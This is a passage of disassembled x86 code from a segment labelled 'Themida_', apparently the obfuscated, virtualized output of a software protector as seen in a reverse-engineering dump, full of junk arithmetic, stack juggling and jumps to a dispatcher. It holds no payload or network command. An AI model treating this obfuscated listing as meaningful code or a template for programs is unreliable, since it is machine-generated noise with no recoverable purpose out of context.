		add	edx, 694D12A8h
		shr	edx, 8
		push	ecx
		mov	ecx, 0FFFFFFFFh
		sub	edx, 70A923BCh
		add	edx, ecx
		add	edx, 70A923BCh
		pop	ecx
		dec	edx
		add	edx, 2CF62BFDh
		add	ebx, edx
		push	dword ptr [esp]
		mov	edx, [esp]
		add	esp, 4
		jmp	loc_569664
; ---------------------------------------------------------------------------


loc_567C25:				; CODE XREF: Themida_:00569A6Ej
		pop	ebx
		add	esp, 4
		shr	ebx, 3
		push	eax
		mov	eax, esp
		add	eax, 4
		sub	eax, 4
		xchg	eax, [esp]
		mov	esp, [esp]
		mov	[esp], eax
		push	ebp
		jmp	loc_56CC40
; ---------------------------------------------------------------------------


loc_567C46:				; CODE XREF: Themida_:00564B6Ej
		and	esi, 618E635Ch
		or	esi, 24486D11h
		sub	esi, 244A6F15h
		add	ecx, 536D6427h
		add	ecx, esi
		sub	ecx, 536D6427h
		mov	esi, [esp]
		add	esp, 4
		add	ecx, 4
		xchg	ecx, [esp]
		jmp	loc_56F1C1
; ---------------------------------------------------------------------------


loc_567C7D:				; CODE XREF: Themida_:0056865Dj
		sub	[edi+24h], ebp
		pop	ebp
		xor	edx, edx
		push	ecx
		jmp	loc_56A662
; ---------------------------------------------------------------------------


loc_567C89:				; CODE XREF: Themida_:00560B23j
		pop	esi
		xor	eax, [esp]
		xor	[esp], eax
		xor	eax, [esp]
		pop	esp
		add	[esp], ax
		pushf
		jmp	loc_55F55C
; ---------------------------------------------------------------------------


loc_567C9E:				; CODE XREF: Themida_:00568142j
		add	esp, 4
		push	edi
		pop	esi
		mov	edi, [esp]
		sub	esp, 4
		mov	[esp], ecx
		mov	ecx, esp
		jmp	loc_573213
; ---------------------------------------------------------------------------


loc_567CB3:				; CODE XREF: Themida_:0056B8E9j
		mov	edi, [esp]
		push	esi
		mov	esi, esp
		add	esi, 4
		jmp	loc_5676CB
; ---------------------------------------------------------------------------


loc_567CC4:				; CODE XREF: Themida_:005705E2j
		add	eax, esi
		jmp	loc_56709D
; ---------------------------------------------------------------------------


loc_567CCB:				; CODE XREF: Themida_:0057414Ej
		push	esp
		jmp	loc_56F617
; ---------------------------------------------------------------------------


loc_567CD1:				; CODE XREF: Themida_:00566F83j
		mov	esp, [esp]
		mov	[esp], edx
		push	ebx
		push	eax
		mov	ah, 4Ch
		mov	bh, 38h
		xor	bh, ah
		pop	eax
		jmp	loc_570A58
; ---------------------------------------------------------------------------
		push	2BDEh
		mov	[esp], edx
		jmp	loc_55F55C
; ---------------------------------------------------------------------------
		push	dword ptr [edi+1Ch]
		popf
		pop	ax
		sbb	[esp], al
		pushf
		jmp	loc_55F55C
; ---------------------------------------------------------------------------


loc_567D01:				; CODE XREF: Themida_:0056F71Fj
		jmp	loc_55F55C
; ---------------------------------------------------------------------------


loc_567D06:				; CODE XREF: Themida_:00565516j
		push	0DB9h
		mov	[esp], edx
		push	esp
		push	dword ptr [esp]
		mov	edx, [esp]
		add	esp, 4
		push	5D1Bh
		mov	[esp], edi
		push	esp
		pop	edi
		push	6499h
		mov	[esp], ebx
		mov	ebx, 4
		add	edi, 755F163Ah
		add	edi, ebx
		push	edx
		mov	edx, 706B2DD7h
		push	esi
		mov	esi, 5B010E0Ch
		and	esi, 3D6144D5h
		or	esi, 48E12EC6h
		dec	esi
		add	esi, 0CBF21EA0h
		sub	edx, esi
		pop	esi
		xor	edx, 3FC8F648h
		sub	edi, edx
		pop	edx
		jmp	loc_564F34
; ---------------------------------------------------------------------------


loc_567D6A:				; CODE XREF: Themida_:0056A881j
		mov	[esp], ecx
		mov	ecx, 5F7961F7h
		xor	edi, ecx
		pop	ecx
		push	29ABh
		jmp	loc_569671
; ---------------------------------------------------------------------------


loc_567D7F:				; CODE XREF: Themida_:005612F4j
		sub	esp, 4
		mov	[esp], ebp
		push	edx
		push	ebx
		mov	ebx, esp
		add	ebx, 4
		sub	ebx, 4
		xchg	ebx, [esp]
		pop	esp
		mov	[esp], esp
		add	dword ptr [esp], 4
		pop	edx
		push	66B5h
		mov	[esp], eax
		mov	eax, 4
		add	edx, eax
		pop	eax
		sub	edx, 4
		jmp	loc_56AF8C
; ---------------------------------------------------------------------------


loc_567DBF:				; CODE XREF: Themida_:00562942j
		push	esp
		pop	edx
		jmp	loc_5710F3
; ---------------------------------------------------------------------------


loc_567DC6:				; CODE XREF: Themida_:0056C342j
		pop	ebx
		sub	ebx, 15AD2239h
		jmp	loc_56633D
; ---------------------------------------------------------------------------


loc_567DD2:				; CODE XREF: Themida_:00567F83j
		push	18C8h
		mov	[esp], ebp
		pop	dword ptr [edx+30h]
		push	dword ptr [esp]
		mov	ebp, [esp]
		add	esp, 4
		push	edi
		mov	edi, esp
		add	edi, 4
		jmp	loc_56BCC4
; ---------------------------------------------------------------------------


loc_567DF7:				; CODE XREF: Themida_:005688FAj
		mov	bh, 6Ch
		sub	al, 1Ch
		add	al, bh
		add	al, 1Ch
		mov	bx, [esp]
		jmp	loc_572F73
; ---------------------------------------------------------------------------


loc_567E08:				; CODE XREF: Themida_:005639F0j
		push	edx
		mov	edx, 0BEF1D44Fh
		sub	ebp, edx
		pop	edx
		sub	ebx, ebp
		pop	ebp
		pop	ebp
		xor	ebx, [esp]
		xor	[esp], ebx
		xor	ebx, [esp]
		jmp	loc_566FD2
; ---------------------------------------------------------------------------
		lodsb
		add	al, 0F5h
		add	al, 94h
		sub	al, bl
		sub	al, 94h
		push	ebx
		push	eax
		push	ebx
		mov	bl, 79h
		add	bl, 0FFh
		sub	bl, 0B9h
		jmp	loc_570097
; ---------------------------------------------------------------------------


loc_567E3C:				; CODE XREF: Themida_:0056870Ej
		or	cl, 23h
		jmp	loc_56A542
; ---------------------------------------------------------------------------


loc_567E44:				; CODE XREF: Themida_:00560528j
		add	ax, 7638h
		add	ax, dx
		jmp	loc_56B49C
; ---------------------------------------------------------------------------


loc_567E50:				; CODE XREF: Themida_:0056C0CAj
		xchg	ecx, [esp]
		pop	esp
		add	eax, 4
		xchg	eax, [esp]
		jmp	loc_5701E5
; ---------------------------------------------------------------------------


loc_567E61:				; CODE XREF: Themida_:00562E75j
		pop	edx
		xchg	ebx, [esp]
		pop	esp
		cmp	ecx, eax
		pushf
		jmp	loc_55F55C
; ---------------------------------------------------------------------------


loc_567E6E:				; CODE XREF: Themida_:00567A5Dj
		or	ebp, edi
		pop	edi
		neg	ebp
		neg	ebp
		add	ebp, 202A0127h
		add	edi, ebp
		jmp	loc_56CEB0
; ---------------------------------------------------------------------------


loc_567E82:				; CODE XREF: Themida_:005681B7j
		mov	esi, 5B9B1173h
		or	ecx, esi
		pop	esi
		jmp	loc_56C722
; ---------------------------------------------------------------------------


loc_567E8F:				; CODE XREF: Themida_:00572246j
		push	ecx
		mov	ch, 6Fh
		shl	ch, 4
		add	ch, 56h
		jmp	loc_56AC0B
; ---------------------------------------------------------------------------


loc_567E9D:				; CODE XREF: Themida_:005740B3j
		pop	ecx
		jmp	loc_56DEB1
; ---------------------------------------------------------------------------


loc_567EA3:				; CODE XREF: Themida_:0056B3C4j
		push	edi
		push	5422h
		mov	[esp], eax
		push	ebp
		mov	ebp, 235D7536h
		shr	ebp, 5
		xor	ebp, 1FFF1C96h
		or	ebp, 3B5336C3h
		jmp	loc_562CAC
; ---------------------------------------------------------------------------


loc_567EC6:				; CODE XREF: Themida_:0055F91Bj
		push	ecx
		mov	ecx, 300E7840h
		add	ecx, 4AAC4548h
		xor	ecx, 328FC476h
		add	edx, ecx
		mov	ecx, [esp]
		add	esp, 4
		push	dword ptr [esp]
		jmp	loc_5653D7
; ---------------------------------------------------------------------------


loc_567EEB:				; CODE XREF: Themida_:0056C571j
		shr	ebx, 3
		add	ebx, 0F9F53500h
		add	ecx, ebx
		pop	ebx
		push	eax
		push	2
		jmp	loc_565211
; ---------------------------------------------------------------------------


loc_567F02:				; CODE XREF: Themida_:00573B54j
		neg	esi
		xor	esi, 7792536Eh
		jmp	loc_568390
; ---------------------------------------------------------------------------


loc_567F0F:				; CODE XREF: Themida_:0056214Bj
		push	edx
		mov	dl, ch
		mov	bl, dl
		pop	edx
		mov	al, bl
		pop	ebx
		push	ecx
		jmp	loc_5620F5
; ---------------------------------------------------------------------------
		dw 2489h
		dd 24048124h, 4, 242FE9h
		db 0
; ---------------------------------------------------------------------------


loc_567F2D:				; CODE XREF: Themida_:00565A20j
		jmp	loc_55F55C
; ---------------------------------------------------------------------------


loc_567F32:				; CODE XREF: Themida_:0056AF5Ej
		pop	esp
		jmp	loc_563289
; ---------------------------------------------------------------------------


loc_567F38:				; CODE XREF: Themida_:0056D6B1j
		mov	edx, 734A7857h
		jmp	loc_5737D9
; ---------------------------------------------------------------------------


loc_567F42:				; CODE XREF: Themida_:0056DD63j
		neg	esi
		xor	esi, 7C220C43h
		jmp	loc_568113
; ---------------------------------------------------------------------------


loc_567F4F:				; CODE XREF: Themida_:0056AF43j
		sub	esp, 4
		mov	[esp], ecx
		push	dword ptr [esp+4]
		mov	ecx, [esp]
		add	esp, 4
		pop	dword ptr [esp]
		jmp	loc_573296
; ---------------------------------------------------------------------------


loc_567F6A:				; CODE XREF: Themida_:0056BADEj
		and	esi, 18D03059h
		or	esi, 52C50F9Dh
		add	esi, 0A52AC023h
		push	edi
		mov	edi, esi
		mov	ebp, edi
		pop	edi
		pop	esi
		jmp	loc_567DD2
; ---------------------------------------------------------------------------


loc_567F88:				; CODE XREF: Themida_:0056E0F3j
		pop	edx
		add	esp, 4
		sub	ebx, edx
		mov	edx, [esp]
		sub	esp, 4
		mov	[esp], edi
		jmp	loc_56A714
; ---------------------------------------------------------------------------


loc_567F9C:				; CODE XREF: Themida_:0056D80Ej
		mov	ebp, [esp]
		add	esp, 4
		sub	eax, 386E13F2h
		sub	eax, 0CE8517Ch
		jmp	loc_56396B
; ---------------------------------------------------------------------------


loc_567FB4:				; CODE XREF: Themida_:0056366Dj
		xor	[esp], eax
		jmp	loc_563D7F
; ---------------------------------------------------------------------------


loc_567FBC:				; CODE XREF: Themida_:0056343Ej
		mov	eax, [esp]
		jmp	loc_563C28
; ---------------------------------------------------------------------------


loc_567FC4:				; CODE XREF: Themida_:00567611j
		pop	ebp
		inc	ebp
		push	edi
		mov	edi, 528C2CF9h
		sub	ebp, edi
		jmp	loc_56FB51
; ---------------------------------------------------------------------------


loc_567FD3:				; CODE XREF: Themida_:005677E3j
		xor	eax, [esp]
		mov	esp, [esp]
		jmp	loc_566F6D
; ---------------------------------------------------------------------------


loc_567FDE:				; CODE XREF: Themida_:00571E64j
		add	esp, 4
		jmp	loc_56557C
; ---------------------------------------------------------------------------


loc_567FE6:				; CODE XREF: Themida_:00563316j
		xor	eax, [esp]
		xor	[esp], eax
		xor	eax, [esp]
		pop	esp
		mov	[esp], esp
		push	edi
		mov	edi, 4
		add	[esp+4], edi
		pop	edi
		jmp	loc_5671A6
; ---------------------------------------------------------------------------


loc_568003:				; CODE XREF: Themida_:00562EB5j
		add	edx, 89598125h
		sub	ebp, edx
		jmp	loc_567B9D
; ---------------------------------------------------------------------------


loc_568010:				; CODE XREF: Themida_:00566D91j
		mov	al, bl
		pop	ebx
		jmp	loc_572C0B
; ---------------------------------------------------------------------------


loc_568018:				; CODE XREF: Themida_:0056CDC4j
		inc	esi
		jmp	loc_564C3C
; ---------------------------------------------------------------------------


loc_56801E:				; CODE XREF: Themida_:0056402Cj
		add	ebx, 4E2453B5h
		mov	esi, [esp]
		add	esp, 4
		sub	ebx, 507718F6h
		add	ebx, eax
		add	ebx, 507718F6h
		push	ecx
		mov	ecx, esp
		jmp	loc_5739AE
; ---------------------------------------------------------------------------


loc_568043:				; CODE XREF: Themida_:00563E17j
		pop	edx
		sub	edi, 4D234312h
		sub	edi, ebp
		add	edi, 4D234312h
		pop	ebp
		add	edi, ebp
		push	27C5h
		mov	[esp], ecx
		mov	ecx, 0F542233h
		add	edi, ecx
		pop	ecx
		pop	ebp
		add	edi, 4
		jmp	loc_56DD68
; ---------------------------------------------------------------------------


loc_568071:				; CODE XREF: Themida_:0056CE72j
		not	ah
		add	ah, 71h
		sub	bl, ah
		mov	eax, [esp]
		jmp	loc_56EE43
; ---------------------------------------------------------------------------


loc_568080:				; CODE XREF: Themida_:0056C584j
		xor	eax, 0D4E6EACDh
		sub	edi, eax
		jmp	loc_56C879
; ---------------------------------------------------------------------------


loc_56808C:				; CODE XREF: Themida_:005647FBj
		mov	[esp], esi
		mov	esi, 70F5804h
		xor	esi, 74E202CFh
		sub	esp, 4
		mov	[esp], ebp
		push	esp
		pop	ebp
		add	ebp, 4
		sub	esp, 4
		jmp	loc_562883
; ---------------------------------------------------------------------------


loc_5680B0:				; CODE XREF: Themida_:0057030Cj
		shr	ebp, 5
		sub	ebp, 22232BB0h
		xor	ebp, 5E3B424Ch
		shl	ebp, 8
		xor	ebp, 1EAD9904h
		add	ebx, 2A790C89h
		add	ebx, ebp
		sub	ebx, 2A790C89h
		pop	ebp
		xchg	ebx, [esp]
		mov	esp, [esp]
		mov	edi, [esp]
		add	esp, 4
		push	edi
		push	eax
		jmp	loc_56BE46
; ---------------------------------------------------------------------------


loc_5680EA:				; CODE XREF: Themida_:005746B4j
		add	edi, 4
		jmp	loc_5729B7
; ---------------------------------------------------------------------------


loc_5680F5:				; CODE XREF: Themida_:00568AC7j
		not	eax
		sub	eax, 0A444E19Ch
		jmp	loc_5709EA
; ---------------------------------------------------------------------------


loc_568101:				; CODE XREF: Themida_:0055F9F8j
		mov	ebp, 4
		add	ebx, ebp
		pop	ebp
		push	ebx
		push	dword ptr [esp+4]
		jmp	loc_56A136
; ---------------------------------------------------------------------------


loc_568113:				; CODE XREF: Themida_:00567F4Aj
		sub	esp, 4
		mov	[esp], edi
		jmp	loc_56BBDF
; ---------------------------------------------------------------------------


loc_56811E:				; CODE XREF: Themida_:00560B13j
		mov	[esp], esi
		sub	esp, 4
		mov	[esp], edi
		push	73C4h
		mov	[esp], esi
		mov	esi, 65837B13h
		shl	esi, 3
		add	esi, 0D3E42968h
		mov	edi, esi
		mov	esi, [esp]
		jmp	loc_567C9E
; ---------------------------------------------------------------------------


loc_568147:				; CODE XREF: Themida_:0056E86Bj
		push	edi
		mov	edi, esp
		jmp	loc_5726C7
; ---------------------------------------------------------------------------


loc_56814F:				; CODE XREF: Themida_:0055FC7Dj
		xor	ebx, [esp]
		mov	esp, [esp]
		shr	dword ptr [esp], cl
		pushf
		jmp	loc_55F55C
; ---------------------------------------------------------------------------


loc_56815E:				; CODE XREF: Themida_:00564FC1j
		mov	ebp, eax
		pop	eax
		sub	esi, ebp
		mov	ebp, [esp]
		add	esp, 4
		sub	esp, 4
		mov	[esp], edi
		mov	edi, 1EDA1110h
		jmp	loc_570495
; ---------------------------------------------------------------------------


loc_56817F:				; CODE XREF: Themida_:0056377Dj
		mov	ax, [esp]
		push	ebx
		push	esp
		mov	ebx, [esp]
		push	ebx
		mov	ebx, esp
		add	ebx, 4
		add	ebx, 4
		push	ebx
		push	dword ptr [esp+4]
		pop	ebx
		pop	dword ptr [esp]
		pop	esp
		add	ebx, 4
		jmp	loc_5690B9
; ---------------------------------------------------------------------------


loc_5681A9:				; CODE XREF: Themida_:0056EBC4j
		push	3212h
		mov	[esp], esi
		jmp	loc_569C29
; ---------------------------------------------------------------------------


loc_5681B6:				; CODE XREF: Themida_:00572146j
		push	esi
		jmp	loc_567E82
; ---------------------------------------------------------------------------
		push	dword ptr [esp]
		pop	eax
		push	7C66h
		mov	[esp], ebp
		push	404Eh
		jmp	loc_56D28F
; ---------------------------------------------------------------------------


loc_5681D2:				; CODE XREF: Themida_:00564033j
		xor	dl, ch
		pop	ecx
		dec	dl
		shl	dl, 1
		shr	dl, 3
		add	dl, 2Ah
		add	cl, dl
		pop	edx
		sub	al, cl
		mov	ecx, [esp]
		add	esp, 4
		jmp	loc_56D4BB
; ---------------------------------------------------------------------------


loc_5681EF:				; CODE XREF: Themida_:00572CB4j
		sub	esp, 4
		mov	[esp], esi
		mov	esi, 47EE61CFh
		or	edi, esi
		jmp	loc_567205
; ---------------------------------------------------------------------------


loc_568204:				; CODE XREF: Themida_:0056152Fj
		or	ebx, 4DA3202h
		jmp	loc_56EC01
; ---------------------------------------------------------------------------


loc_56820F:				; CODE XREF: Themida_:005676EDj
		add	edi, edx
		pop	edx
		sub	esp, 4
		mov	[esp], edi
		push	dword ptr [esp+4]
		pop	edi
		pop	dword ptr [esp]
		pop	esp
		pop	dword ptr [esp]
		xchg	eax, ebp
		xor	ebp, edx
		xor	edx, ebp
		xor	ebp, edx
		not	edx
		xchg	edx, ebp
		xchg	eax, ebp
		xor	[esp], eax
		jmp	loc_56B755
; ---------------------------------------------------------------------------


loc_568238:				; CODE XREF: Themida_:0056881Cj
		pop	ebx
		jmp	loc_570795
; ---------------------------------------------------------------------------


loc_56823E:				; CODE XREF: Themida_:00571654j
		sub	ebp, 0EE66E7E4h
		or	ebp, 11E74CCEh
		dec	ebp
		push	eax
		push	esi
		mov	esi, 593A4ED6h
		jmp	loc_560F38
; ---------------------------------------------------------------------------


loc_568257:				; CODE XREF: Themida_:005621D4j
		push	eax
		mov	al, 0Ch
		mov	dh, al
		pop	eax
		not	dh
		inc	dh
		shl	dh, 8
		and	dh, 0D5h
		shr	dh, 3
		sub	dh, 6Eh
		sub	ch, dh
		mov	edx, [esp]
		add	esp, 4
		xor	ch, 72h
		shr	ch, 4
		not	ch
		jmp	loc_569F08
; ---------------------------------------------------------------------------


loc_568285:				; CODE XREF: Themida_:0056051Bj
		shl	edx, 1
		shr	edx, 3
		shr	edx, 6
		push	ecx
		jmp	loc_55F96D
; ---------------------------------------------------------------------------


loc_568293:				; CODE XREF: Themida_:0056DC1Dj
		push	eax
		jmp	loc_5644F8
; ---------------------------------------------------------------------------


loc_568299:				; CODE XREF: Themida_:005629C9j
		push	ecx
		jmp	loc_567061
; ---------------------------------------------------------------------------


loc_56829F:				; CODE XREF: Themida_:0056102Aj
		pop	eax
		sub	cl, 57h
		jmp	loc_5678CE
; ---------------------------------------------------------------------------


loc_5682A8:				; CODE XREF: Themida_:00560F4Aj
		push	5C02h
		mov	[esp], edx
		push	ebx
		push	3B4C35F2h
		pop	ebx
		add	ebx, 5D9765F6h
		inc	ebx
		jmp	loc_5608E1
; ---------------------------------------------------------------------------


loc_5682C3:				; CODE XREF: Themida_:0056BC7Fj
		mov	ebp, ecx
		jmp	loc_5731B0
; ---------------------------------------------------------------------------


loc_5682CA:				; CODE XREF: Themida_:0055F634j
		mov	edi, esp
		add	edi, 4
		sub	edi, 4
		xchg	edi, [esp]
		jmp	loc_568EDD
; ---------------------------------------------------------------------------


loc_5682DD:				; CODE XREF: Themida_:0056419Cj
		push	eax
		mov	eax, 2
		jmp	loc_56891C
; ---------------------------------------------------------------------------


loc_5682E8:				; CODE XREF: Themida_:00562EFEj
		add	esi, 4
		xor	esi, [esp]
		xor	[esp], esi
		xor	esi, [esp]
		jmp	loc_56AD2E
; ---------------------------------------------------------------------------


loc_5682FC:				; CODE XREF: Themida_:005744BCj
		dec	ebx
		xchg	ebx, esi
		dec	esi
		xor	esi, 1877A3Eh
		jmp	loc_5729C2
; ---------------------------------------------------------------------------


loc_56830B:				; CODE XREF: Themida_:00565AEDj
		push	eax
		mov	eax, esp
		add	eax, 4
		jmp	loc_56165B
; ---------------------------------------------------------------------------


loc_568318:				; CODE XREF: Themida_:00571760j
		xchg	ecx, [esp]
		pop	esp
		mov	ebx, [esp]
		push	ecx
		mov	ecx, esp
		add	ecx, 4
		add	ecx, 4
		jmp	loc_56D482
; ---------------------------------------------------------------------------


loc_568330:				; CODE XREF: Themida_:00572937j
		mov	[esp], edx
		push	73BAh
		mov	[esp], ebp
		pop	edx
		mov	esi, edx
		jmp	loc_56FCC7
; ---------------------------------------------------------------------------


loc_568343:				; CODE XREF: Themida_:0056BBA6j
		add	esp, 4
		jmp	loc_565F2C
; ---------------------------------------------------------------------------
		mov	ax, [esp]
		push	55E7h
		mov	[esp], edx
		push	esp
		mov	edx, [esp]
		push	ebx
		mov	ebx, esp
		jmp	loc_565C23
; ---------------------------------------------------------------------------


loc_568363:				; CODE XREF: Themida_:0056F2ACj
		neg	ebx
		xor	ebx, 1B93525h
		or	edi, ebx
		pop	ebx
		xor	edi, 76B76FF9h
		add	ebx, edi
		pop	edi
		add	ebx, 4
		jmp	loc_560E0E
; ---------------------------------------------------------------------------


loc_56837F:				; CODE XREF: Themida_:00561E6Cj
		mov	ebp, 792973AEh
		add	ebp, 28093FD7h
		push	edi
		jmp	loc_56DA80
; ---------------------------------------------------------------------------


loc_568390:				; CODE XREF: Themida_:00567F0Aj
		not	esi
		jmp	loc_56B7E2
; ---------------------------------------------------------------------------


loc_568397:				; CODE XREF: Themida_:005615E1j
		mov	edi, 5E3D7914h
		push	esi
		mov	esi, 2C2406A6h
		add	edi, 1EA642C7h
		sub	edi, esi
		jmp	loc_5634A2
; ---------------------------------------------------------------------------


loc_5683AF:				; CODE XREF: Themida_:0056C67Ej
		xor	ch, bh
		jmp	loc_56F3BC
; ---------------------------------------------------------------------------


loc_5683B6:				; CODE XREF: Themida_:00564EF5j
		mov	[esp], edx
		push	esp
		pop	edx
		add	edx, 4
		push	ebp
		push	eax
		push	470438E9h
		pop	eax
		dec	eax
		xor	eax, 470438ECh
		mov	ebp, eax
		pop	eax
		push	esi
		mov	esi, 33395EC4h
		jmp	loc_56A610
; ---------------------------------------------------------------------------


loc_5683DD:				; CODE XREF: Themida_:0056A6C6j
		xor	ebp, 97A0AFABh
		sub	eax, 47C34C7Bh
		add	eax, ebp
		add	eax, 47C34C7Bh
		mov	ebp, [esp]
		push	edx
		mov	edx, esp
		add	edx, 4
		add	edx, 4
		xchg	edx, [esp]
		pop	esp
		add	eax, 4F4D4F68h
		push	683Eh
		mov	[esp], esi
		mov	esi, 7D163C21h
		push	ebx
		mov	ebx, 30412EE4h
		jmp	loc_56B0EC
; ---------------------------------------------------------------------------


loc_568422:				; CODE XREF: Themida_:005635EBj
		shr	ecx, 0Bh
		push	edi
		jmp	loc_56A8FA
; ---------------------------------------------------------------------------


loc_56842B:				; CODE XREF: Themida_:005669CEj
		mov	[esp], ebx
		mov	ebx, 73D9088Ah
		shr	ebx, 7
		and	ebx, 73A35908h
		jmp	loc_560E6D
; ---------------------------------------------------------------------------


loc_568441:				; CODE XREF: Themida_:005739DEj
		sub	ebp, 12A520C2h
		sub	ebp, eax
		add	ebp, 12A520C2h
		pop	eax
		sub	ebx, 7D1E14F8h
		sub	ebx, 49F146D9h
		sub	ebx, ebp
		jmp	loc_561FA3
; ---------------------------------------------------------------------------


loc_568463:				; CODE XREF: Themida_:00573F4Cj
		pop	eax
		push	ebx
		push	391651DCh
		pop	ebx
		neg	ebx
		inc	ebx
		sub	ebx, 0FDB4E74Ch
		jmp	loc_56EBB7
; ---------------------------------------------------------------------------


loc_568479:				; CODE XREF: Themida_:00566276j
		push	4828h
		mov	[esp], ebp
		push	esi
		push	21F17C46h
		pop	esi
		push	esi
		neg	dword ptr [esp]
		pop	esi
		inc	esi
		inc	esi
		xor	esi, 0AEC7C729h
		mov	ebp, esi
		pop	esi
		jmp	loc_560EAF
; ---------------------------------------------------------------------------


loc_56849D:				; CODE XREF: Themida_:00562616j
		pop	esi
		pop	dword ptr [esp]
		mov	esp, [esp]
		push	dword ptr [eax]
		jmp	loc_55F55C
; ---------------------------------------------------------------------------


loc_5684AB:				; CODE XREF: Themida_:0056DD6Bj
		xor	[esp], edi
		xor	edi, [esp]
		jmp	loc_56873A
; ---------------------------------------------------------------------------


loc_5684B6:				; CODE XREF: Themida_:005684E8j
		add	ecx, edx
		add	ecx, 3E62415h
		jmp	loc_566308
; ---------------------------------------------------------------------------


loc_5684C3:				; CODE XREF: Themida_:0055FD9Dj
		mov	edx, 66077DAFh
		xor	edx, ecx
		pop	ecx
		mov	ecx, 5BC317A9h
		add	ecx, 498940B3h
		shr	ecx, 6
		shl	ecx, 6
		xor	ecx, 502FD893h
		sub	ecx, 3E62415h
		jmp	loc_5684B6
; ---------------------------------------------------------------------------


loc_5684ED:				; CODE XREF: Themida_:0056DCF1j
		add	edi, edx
		push	eax
		mov	eax, 21A84332h
		jmp	loc_5698A1
; ---------------------------------------------------------------------------


loc_5684FA:				; CODE XREF: Themida_:0056E5D4j
		xchg	ecx, [esp]
		pop	esp
		push	68DDh
		mov	[esp], ebp
		push	edx
		push	eax
		mov	eax, 1F941EFDh
		shl	eax, 8
		sub	eax, 4CE9456Eh
		push	edi
		mov	edi, 6AC464Fh
		jmp	loc_56BFC9
; ---------------------------------------------------------------------------


loc_568520:				; CODE XREF: Themida_:0056B244j
		pop	esp
		jmp	loc_55F55C
; ---------------------------------------------------------------------------


loc_568526:				; CODE XREF: Themida_:005619EEj
		add	ebx, 58094B33h
		add	ebx, eax
		jmp	loc_5613D6
; ---------------------------------------------------------------------------


loc_568533:				; CODE XREF: Themida_:0056580Aj
		push	edx
		mov	edx, 2
		push	esi
		mov	esi, edx
		mov	ebp, esi
		pop	esi
		pop	edx
		sub	ecx, 5A2367E8h
		add	ecx, ebp
		add	ecx, 5A2367E8h
		pop	ebp
		xor	ecx, [esp]
		xor	[esp], ecx
		xor	ecx, [esp]
		jmp	loc_560207
; ---------------------------------------------------------------------------


loc_56855D:				; CODE XREF: Themida_:00562E06j
		add	edi, esi
		jmp	loc_565C38
; ---------------------------------------------------------------------------


loc_568564:				; CODE XREF: Themida_:0056C1DAj
		xchg	ebx, [esp]
		pop	esp
		add	bl, al
		add	bl, 0F3h
		movzx	eax, al
		jmp	loc_56276B
; ---------------------------------------------------------------------------


loc_568575:				; CODE XREF: Themida_:0056EA24j
		sub	esp, 4
		mov	[esp], ebx
		push	ecx
		mov	ecx, 4EEF6245h
		mov	ebx, 55107DCCh
		xor	ebx, ecx
		pop	ecx
		sub	eax, 2EFD1094h
		add	eax, ebx
		add	eax, 2EFD1094h
		push	dword ptr [esp]
		mov	ebx, [esp]
		add	esp, 4
		add	esp, 4
		push	dword ptr [esp]
		pop	edx
		push	edx
		mov	edx, esp
		add	edx, 4
		push	ecx
		mov	ecx, 4
		add	edx, ecx
		pop	ecx
		xchg	edx, [esp]
		pop	esp
		push	eax
		push	esp
		pop	eax
		add	eax, 4
		push	ebx
		push	ebp
		push	2F16BD6h
		pop	ebp
		push	7C41h
		mov	[esp], esi
		mov	esi, 4E8E49A2h
		and	ebp, esi
		pop	esi
		jmp	loc_571CF3
; ---------------------------------------------------------------------------


loc_5685E6:				; CODE XREF: Themida_:0056678Dj
		add	ecx, edi
		jmp	loc_5628B5
; ---------------------------------------------------------------------------


loc_5685ED:				; CODE XREF: Themida_:005747BAj
		mov	esi, esp
		jmp	loc_571EF9
; ---------------------------------------------------------------------------


loc_5685F4:				; CODE XREF: Themida_:00566CB7j
		mov	ebx, 22D3EC7Dh
		add	ebx, ebp
		pop	ebp
		push	esi
		mov	esi, 0B1D69FB6h
		add	ebx, esi
		pop	esi
		add	ecx, ebx
		jmp	loc_57175F
; ---------------------------------------------------------------------------


loc_56860C:				; CODE XREF: Themida_:0055F741j
		add	eax, 4
		add	eax, 4
		xchg	eax, [esp]
		jmp	loc_57326D
; ---------------------------------------------------------------------------


loc_56861C:				; CODE XREF: Themida_:0056B8B3j
		sub	esp, 4
		mov	[esp], edi
		jmp	loc_5628E8
; ---------------------------------------------------------------------------


loc_568627:				; CODE XREF: Themida_:0056709Ej
		push	esi
		mov	esi, 588B09DAh
		sub	eax, 78A602D7h
		add	eax, esi
		jmp	loc_5661FA
; ---------------------------------------------------------------------------


loc_568639:				; CODE XREF: Themida_:00573C84j
		sub	ecx, esi
		push	ebx
		mov	ebx, 39587F41h
		sub	ebx, 18AA5C13h
		shr	ebx, 8
		jmp	loc_573088
; ---------------------------------------------------------------------------


loc_56864F:				; CODE XREF: Themida_:00563220j
		sub	[edi+24h], ecx
		pop	ecx
		push	ebp
		push	edx
		mov	edx, 40D628AEh
		mov	ebp, edx
		pop	edx
		jmp	loc_567C7D
; ---------------------------------------------------------------------------


loc_568662:				; CODE XREF: Themida_:0056C274j
		sub	esp, 4
		mov	[esp], ecx
		mov	ecx, esp
		add	ecx, 4
		add	ecx, 4
		xchg	ecx, [esp]
		pop	esp
		push	4C9Dh
		jmp	loc_568D43
; ---------------------------------------------------------------------------


loc_568687:				; CODE XREF: Themida_:0056F3BEj
		xchg	bh, ch
		push	eax
		jmp	loc_56B2FF
; ---------------------------------------------------------------------------


loc_56868F:				; CODE XREF: Themida_:00573B64j
		xor	edx, 6E6EF29Ah
		and	esi, edx
		jmp	loc_5729D0
; ---------------------------------------------------------------------------


loc_56869C:				; CODE XREF: Themida_:0056DAFDj
		pop	edx
		sub	ebx, ebp
		pop	ebp
		add	ebp, ebx
		mov	ebx, [esp]
		add	esp, 4
		jmp	loc_564925
; ---------------------------------------------------------------------------


loc_5686B0:				; CODE XREF: Themida_:0056C28Fj
		xor	[esp], edi
		xor	edi, [esp]
		mov	esp, [esp]
		jmp	loc_566327
; ---------------------------------------------------------------------------


loc_5686BE:				; CODE XREF: Themida_:00569E64j
		add	ebp, 0FFFFFFFFh
		neg	ebp
		add	ebp, 0DDD09C3Bh
		push	9B7h
		mov	[esp], edx
		mov	edx, 1B6F7D56h
		sub	edx, 3A0D3565h
		and	edx, 6D180638h
		xor	edx, 20DD5636h
		sub	esi, edx
		pop	edx
		add	esi, ebp
		jmp	loc_563E1C
; ---------------------------------------------------------------------------


loc_5686F5:				; CODE XREF: Themida_:00567A4Fj
		xor	eax, [esp]
		xor	[esp], eax
		xor	eax, [esp]
		pop	esp
		push	ebx
		push	edx
		mov	dl, 26h
		mov	bl, dl
		pop	edx
		add	al, 0FCh
		push	ecx
